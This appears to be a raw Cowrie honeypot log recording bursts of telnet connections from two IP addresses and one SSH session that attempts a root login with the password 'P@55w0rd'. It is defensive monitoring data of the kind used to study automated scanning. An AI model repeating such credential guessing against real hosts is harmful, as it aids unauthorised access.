{"eventid":"cowrie.session.closed","duration":31.026708126068115,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:46.153608Z","src_ip":"41.76.108.55","session":"a63cdfc15d13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93638586997986,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:46.382199Z","src_ip":"41.76.108.55","session":"63bd26d2a73a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78143882751465,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:46.438941Z","src_ip":"41.76.108.55","session":"bb26255e648f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":55152,"dst_ip":"159.203.135.109","dst_port":23,"session":"63c9bb0d37c9","protocol":"telnet","message":"New connection: 41.76.108.55:55152 (159.203.135.109:23) [session: 63c9bb0d37c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:46.472947Z"}
{"eventid":"cowrie.session.closed","duration":30.66468644142151,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:47.011134Z","src_ip":"15.204.204.191","session":"a069b62cca2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.954002141952515,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:47.209328Z","src_ip":"41.76.108.55","session":"e123458757f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.233628273010254,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:47.294754Z","src_ip":"41.76.108.55","session":"e7aad8dce801","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":52722,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3e1510fd65a","protocol":"telnet","message":"New connection: 15.204.204.191:52722 (10.17.0.5:23) [session: b3e1510fd65a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:47.557284Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":39976,"dst_ip":"159.203.135.109","dst_port":23,"session":"6809c1550b1f","protocol":"telnet","message":"New connection: 41.76.108.55:39976 (159.203.135.109:23) [session: 6809c1550b1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:49.674114Z"}
{"eventid":"cowrie.session.closed","duration":31.222582817077637,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:51.183806Z","src_ip":"41.76.108.55","session":"6117f165ea9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.081695795059204,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:51.220736Z","src_ip":"41.76.108.55","session":"f2125f451628","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.38197660446167,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:51.268381Z","src_ip":"41.76.108.55","session":"795638d0c49b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.124919414520264,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:51.393776Z","src_ip":"41.76.108.55","session":"537fd9a76c79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.075191497802734,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:52.139270Z","src_ip":"41.76.108.55","session":"91e175bfc450","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.419539213180542,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:52.392082Z","src_ip":"15.204.204.191","session":"961b177970c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.692395448684692,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:53.297657Z","src_ip":"41.76.108.55","session":"293cf9f3af8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.518065929412842,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:53.552566Z","src_ip":"41.76.108.55","session":"63967e1eaaf9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.148454904556274,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:53.592899Z","src_ip":"15.204.204.191","session":"98ef25c9df99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":55950,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9dbc047b74d","protocol":"telnet","message":"New connection: 41.76.108.55:55950 (159.203.135.109:23) [session: d9dbc047b74d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:53.642540Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":57580,"dst_ip":"159.203.135.109","dst_port":23,"session":"71b9ce61ad21","protocol":"telnet","message":"New connection: 41.76.108.55:57580 (159.203.135.109:23) [session: 71b9ce61ad21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:53.994776Z"}
{"eventid":"cowrie.session.closed","duration":31.37208342552185,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:54.418079Z","src_ip":"41.76.108.55","session":"ad9d081ee03b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":33638,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3fe0b6cd158","protocol":"telnet","message":"New connection: 41.76.108.55:33638 (159.203.135.109:23) [session: a3fe0b6cd158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:55.098147Z"}
{"eventid":"cowrie.session.closed","duration":30.922463178634644,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:55.137260Z","src_ip":"41.76.108.55","session":"b583f3dcbbf5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":53798,"dst_ip":"10.17.0.5","dst_port":23,"session":"421abe6b34c1","protocol":"telnet","message":"New connection: 15.204.204.191:53798 (10.17.0.5:23) [session: 421abe6b34c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:55.830334Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":33742,"dst_ip":"159.203.135.109","dst_port":23,"session":"76775e47a51e","protocol":"telnet","message":"New connection: 41.76.108.55:33742 (159.203.135.109:23) [session: 76775e47a51e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:56.131223Z"}
{"eventid":"cowrie.session.closed","duration":30.128045558929443,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:57.022019Z","src_ip":"15.204.204.191","session":"85f10e9f4152","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":41556,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b15e65aeaaa","protocol":"telnet","message":"New connection: 41.76.108.55:41556 (159.203.135.109:23) [session: 6b15e65aeaaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:57.118767Z"}
{"eventid":"cowrie.session.closed","duration":30.805436611175537,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:57.128708Z","src_ip":"41.76.108.55","session":"bdec0277bad1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.002562761306763,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:57.140588Z","src_ip":"41.76.108.55","session":"a8a7934c83d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":42588,"dst_ip":"159.203.135.109","dst_port":23,"session":"709ddca1bea3","protocol":"telnet","message":"New connection: 41.76.108.55:42588 (159.203.135.109:23) [session: 709ddca1bea3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:57.406105Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":42784,"dst_ip":"159.203.135.109","dst_port":23,"session":"27f779caa77e","protocol":"telnet","message":"New connection: 41.76.108.55:42784 (159.203.135.109:23) [session: 27f779caa77e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:57.467002Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":43888,"dst_ip":"159.203.135.109","dst_port":23,"session":"be61bd2b9d44","protocol":"telnet","message":"New connection: 41.76.108.55:43888 (159.203.135.109:23) [session: be61bd2b9d44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:57.741527Z"}
{"eventid":"cowrie.session.closed","duration":30.252565383911133,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:58.029261Z","src_ip":"15.204.204.191","session":"799394e91df8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":45580,"dst_ip":"159.203.135.109","dst_port":23,"session":"e78b742e1d2e","protocol":"telnet","message":"New connection: 41.76.108.55:45580 (159.203.135.109:23) [session: e78b742e1d2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:58.158239Z"}
{"eventid":"cowrie.session.closed","duration":30.924033164978027,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:59.061005Z","src_ip":"15.204.204.191","session":"2d3d83736888","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":51612,"dst_ip":"159.203.135.109","dst_port":23,"session":"1cc17ec7e0b6","protocol":"telnet","message":"New connection: 41.76.108.55:51612 (159.203.135.109:23) [session: 1cc17ec7e0b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:59.700436Z"}
{"eventid":"cowrie.session.closed","duration":31.01423740386963,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:00.148965Z","src_ip":"41.76.108.55","session":"9f2e80ab7ea8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.596113920211792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:00.360289Z","src_ip":"41.76.108.55","session":"58b8727df30c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.975777626037598,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:00.853175Z","src_ip":"41.76.108.55","session":"4d6e02cfd2aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":52834,"dst_ip":"10.17.0.5","dst_port":23,"session":"73e175c269e1","protocol":"telnet","message":"New connection: 15.204.204.191:52834 (10.17.0.5:23) [session: 73e175c269e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:01.548686Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":38618,"dst_ip":"159.203.135.109","dst_port":23,"session":"de17d07e9af5","protocol":"telnet","message":"New connection: 41.76.108.55:38618 (159.203.135.109:23) [session: de17d07e9af5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:03.479877Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":40730,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4ba10abe5bb","protocol":"telnet","message":"New connection: 41.76.108.55:40730 (159.203.135.109:23) [session: b4ba10abe5bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:03.968207Z"}
{"eventid":"cowrie.session.closed","duration":30.37889289855957,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:04.055300Z","src_ip":"15.204.204.191","session":"61be30f635e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":41208,"dst_ip":"159.203.135.109","dst_port":23,"session":"14834250884c","protocol":"telnet","message":"New connection: 41.76.108.55:41208 (159.203.135.109:23) [session: 14834250884c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:04.083314Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":32964,"dst_ip":"159.203.135.109","dst_port":22,"session":"56b015350e19","protocol":"ssh","message":"New connection: 122.168.114.167:32964 (159.203.135.109:22) [session: 56b015350e19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:04.180434Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":42840,"dst_ip":"159.203.135.109","dst_port":23,"session":"e40eca16e9c0","protocol":"telnet","message":"New connection: 41.76.108.55:42840 (159.203.135.109:23) [session: e40eca16e9c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:04.512452Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":43448,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5271fdd8517","protocol":"telnet","message":"New connection: 41.76.108.55:43448 (159.203.135.109:23) [session: b5271fdd8517]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:04.683117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:05.696710Z","src_ip":"122.168.114.167","session":"56b015350e19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:05.703147Z","src_ip":"122.168.114.167","session":"56b015350e19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":48094,"dst_ip":"159.203.135.109","dst_port":23,"session":"a336b759ba02","protocol":"telnet","message":"New connection: 41.76.108.55:48094 (159.203.135.109:23) [session: a336b759ba02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:05.858837Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":44266,"dst_ip":"159.203.135.109","dst_port":23,"session":"36b6734e4d2e","protocol":"telnet","message":"New connection: 41.76.108.55:44266 (159.203.135.109:23) [session: 36b6734e4d2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:05.891634Z"}
{"eventid":"cowrie.session.closed","duration":31.099223375320435,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:06.139117Z","src_ip":"41.76.108.55","session":"bb32a57e9cd0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.221791744232178,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:07.304937Z","src_ip":"41.76.108.55","session":"6095758bfbf3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68888211250305,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:08.497551Z","src_ip":"41.76.108.55","session":"9c2c9c3d0332","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.711674213409424,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:08.579018Z","src_ip":"15.204.204.191","session":"eb5fe72cafc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":52836,"dst_ip":"10.17.0.5","dst_port":23,"session":"490c10f377a9","protocol":"telnet","message":"New connection: 15.204.204.191:52836 (10.17.0.5:23) [session: 490c10f377a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:10.281649Z"}
{"eventid":"cowrie.session.closed","duration":30.898968935012817,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:11.321100Z","src_ip":"41.76.108.55","session":"851100e31941","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":44186,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb327824a374","protocol":"telnet","message":"New connection: 41.76.108.55:44186 (159.203.135.109:23) [session: bb327824a374]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:11.886542Z"}
{"eventid":"cowrie.session.closed","duration":31.278959035873413,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:12.215179Z","src_ip":"41.76.108.55","session":"e24a2cea5d79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.777646780014038,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:12.476761Z","src_ip":"41.76.108.55","session":"9677452eaf84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":46980,"dst_ip":"159.203.135.109","dst_port":23,"session":"43d37e019ab5","protocol":"telnet","message":"New connection: 41.76.108.55:46980 (159.203.135.109:23) [session: 43d37e019ab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:12.644517Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":48060,"dst_ip":"159.203.135.109","dst_port":23,"session":"29f59e625853","protocol":"telnet","message":"New connection: 41.76.108.55:48060 (159.203.135.109:23) [session: 29f59e625853]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:12.911891Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@55w0rd","message":"login attempt [root/P@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:13.421019Z","src_ip":"122.168.114.167","session":"56b015350e19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":51202,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4f230628b43","protocol":"telnet","message":"New connection: 41.76.108.55:51202 (159.203.135.109:23) [session: e4f230628b43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:13.736355Z"}
{"eventid":"cowrie.session.closed","duration":31.224021434783936,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:14.391594Z","src_ip":"15.204.204.191","session":"376862e3ae47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.2687406539917,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:15.203659Z","src_ip":"41.76.108.55","session":"dfe2cfa3586f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":58062,"dst_ip":"159.203.135.109","dst_port":23,"session":"f495f693d279","protocol":"telnet","message":"New connection: 41.76.108.55:58062 (159.203.135.109:23) [session: f495f693d279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:15.424643Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":58126,"dst_ip":"159.203.135.109","dst_port":23,"session":"df009d9d7f0d","protocol":"telnet","message":"New connection: 41.76.108.55:58126 (159.203.135.109:23) [session: df009d9d7f0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:15.428885Z"}
{"eventid":"cowrie.session.closed","duration":31.11713194847107,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:15.838628Z","src_ip":"41.76.108.55","session":"062fcee441be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.77100110054016,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:15.910372Z","src_ip":"15.204.204.191","session":"5fbcf4546032","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.483315229415894,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:16.020408Z","src_ip":"15.204.204.191","session":"1447ba0b959f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":32826,"dst_ip":"159.203.135.109","dst_port":23,"session":"fad76aad0ab6","protocol":"telnet","message":"New connection: 41.76.108.55:32826 (159.203.135.109:23) [session: fad76aad0ab6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:16.250724Z"}
{"eventid":"cowrie.session.closed","duration":"12.4","message":"Connection lost after 12.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:16.582207Z","src_ip":"122.168.114.167","session":"56b015350e19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":49760,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcc8079549d3","protocol":"telnet","message":"New connection: 15.204.204.191:49760 (10.17.0.5:23) [session: dcc8079549d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:16.968333Z"}
{"eventid":"cowrie.session.closed","duration":30.661492109298706,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:17.134364Z","src_ip":"41.76.108.55","session":"63c9bb0d37c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.495277404785156,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:18.052466Z","src_ip":"15.204.204.191","session":"b3e1510fd65a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.008909463882446,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:20.682918Z","src_ip":"41.76.108.55","session":"6809c1550b1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":52014,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcf4b4ee0d00","protocol":"telnet","message":"New connection: 41.76.108.55:52014 (159.203.135.109:23) [session: bcf4b4ee0d00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:10:21.195023Z"}
